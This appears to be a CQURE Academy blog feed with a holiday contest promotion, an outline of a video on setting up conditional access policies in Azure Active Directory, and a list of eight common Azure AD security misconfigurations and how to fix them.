Holiday time is approaching and we know that everyone loves to receive gifts! Especially at CQURE, the idea of sharing is close to us and we would like to invite you to our Great Racoon Giveaway Contest, where you will get a chance to win $3920-worth voucher for any of CQURE Academy Live Courses! 

Please click on the below banner to find out more about the contest:

The post Back to Basics: Identity protection in Azure Active Directory appeared first on CQURE Academy.

Back to Basics: Conditional Access in Azure Active Directory

By: tribe47

Regulating access to your company’s files, systems, and applications cuts the risk of your data falling into the hands of hackers, threat actors and thieves.

While standard privilege management stops at ID-based authentication, conditional access in Azure Active Directory gives greater flexibility and control by allowing remote connections only when certain conditions are met.

Using conditional access, an administrator can regulate access by user location, device type, the kind of application or file being used and more. To achieve this, the administrator creates an Azure Active Directory security policy that specifies which condition(s) must be met for access to be allowed.

In this back-to-basics CQURE Hacks episode, Paula J demonstrates how to create secure conditional access policies and monitor access in the Azure Active Directory.

>>> Controlling access by a user’s IP address

o   Add the IP range’s location

o   Define the range to be assigned to the policy

o   Name the policy e.g., ‘Corporate IP range’

o   Specify the trusted IP addresses related to the location

>>> Controlling access by the kind of user or group, e.g., corporate only

o   Create a new policy

o   In conditions, specify login from corporate IP addresses

o   Exclude sign-ins from other users and groups

>>> Controlling access by location

o   A demonstration using the United States and Poland as examples

>>> Creating emergency access accounts known as “break glass accounts” to prevent yourself being accidentally locked out of your Azure Active Directory

>>>   More ways to regulate access

o   Blocking access

o   Enforcing multifactor authentication

o   Session controls

>>> Final steps

o   Turning on policies

o   Testing polices

o   Monitoring user access via the dashboard

After you’ve set up conditional access in Azure Directory, browse our blog to discover more clever ways to secure your data.

 

 

The post Back to Basics: Conditional Access in Azure Active Directory appeared first on CQURE Academy.

8 Things to Avoid In Azure Active Directory

By: tribe47

Organizations that don’t put in the extra effort needed to secure their Azure Active Directory leave themselves vulnerable and open to data leaks, unauthorized data access, and cyberattacks targeting their infrastructure.

Cybercriminals can decrypt user passwords and compromise administrator accounts by hacking into Azure AD Connect, the service that synchronizes Azure AD with Windows AD servers. Once inside the system, the attackers can exfiltrate and encrypt an organization’s most sensitive data.

Azure AD users often overlook crucial steps, such as implementing multi-factor authentication for all users joining the Active Directory with a device. Failure to require MFA makes it easier for an attacker to join a malicious device to an organization using the credentials of a compromised account.

Increased security risk isn’t the only consequence of a poorly set up AD. Misconfigurations can cause process bottlenecks leading to poor performance. The following guide was created by CQURE’s cybersecurity expert – Michael Graffneter specialized in securing Azure Active Directory, to help you detect and remedy some of the most common Azure AD misconfiguration mistakes.

8 Things to Avoid In Azure Active Directory

 

1. Production Tenants Used for Tests

During security assessments, we often see production tenants being used by developers for testing their “Hello World” apps. We recommend that companies have standalone tenants for testing new apps and settings. Needless to say, the amount of PII accessible through such tenants should be minimized.

2. Overpopulated Global Admins

User accounts that are assigned the Global Admin’s role have unlimited control over your Azure AD tenant and in many cases also over your on-prem AD forest. Consider using less privileged roles to delegate permissions. As an example, security auditors should be fine with the Security Reader or Global Reader role.

3. Not Enforcing MFA

Company administrators tend to create “temporary” MFA exclusions for selected accounts and then forget about them, making them permanent. And due to misconfigurations, trusted IP address ranges sometimes include guest WiFi networks. Even with the free tier of Azure AD, one can use Security defaults to enable multi-factor authentication for all users. And users assigned the Global Administrator role can be configured to use multi-factor authentication at all times.

4. Overprivileged Applications

Many applications registered in Azure AD are assigned much stronger privileges than they actually require. It is also not obvious that app owners can impersonate their applications, which sometimes leads to privilege escalation. Registered applications and service principals should be regularly audited, as they can be used by malicious actors as persistent backdoors to the tenant.

5. Fire-and-Forget Approach to Configuration

Azure AD is constantly evolving and new security features are introduced regularly. But many of these newly added features need to be enabled and configured before they can be used, including the super-cool passwordless authentication methods. Azure AD deployment should therefore not be considered a one-time operation but rather a continuous process.

6. Insecure Azure AD Connect Servers

Azure AD Connect servers are used to synchronize Azure AD with on-premises AD, for which they need permissions to perform modifications in both environments. This fact is well-known to hackers, who might misuse AAD Connect to compromise the entire organization. These servers should therefore be considered Tier 0 resources and only Domain Admins should have administrative rights on them.

7. Lack of Monitoring

Even with an Azure AD Premium plan, user activity logs are only stored for 30 days. Is this default behavior really enough for your organization? Luckily, custom retention policies can be configured when Azure AD logs are forwarded to the Azure Log Analytics service, to the Unified Audit Log feature of Microsoft 365, or to 3rd-party SIEM solutions. And components like Azure AD Identity Protection or Azure Sentinel can automatically detect anomalies in user activity.

8. Default Settings

Not all default settings provide the highest security possible. Users can register 3rd party applications in Azure AD, passwordless authentication methods are disabled and ADFS endpoints with NTLM authentication that bypasses the Extranet Smart Lockout feature are published on proxies. These and other settings should be reviewed during Azure AD deployment and adjusted to fit organizational security policies.

Azure AD is a critical attack surface that needs continuous monitoring for misconfigurations. We hope this guide makes managing the security of your AD easier by helping you to detect and resolve vulnerabilities.

The post 8 Things to Avoid In Azure Active Directory appeared first on CQURE Academy.

❌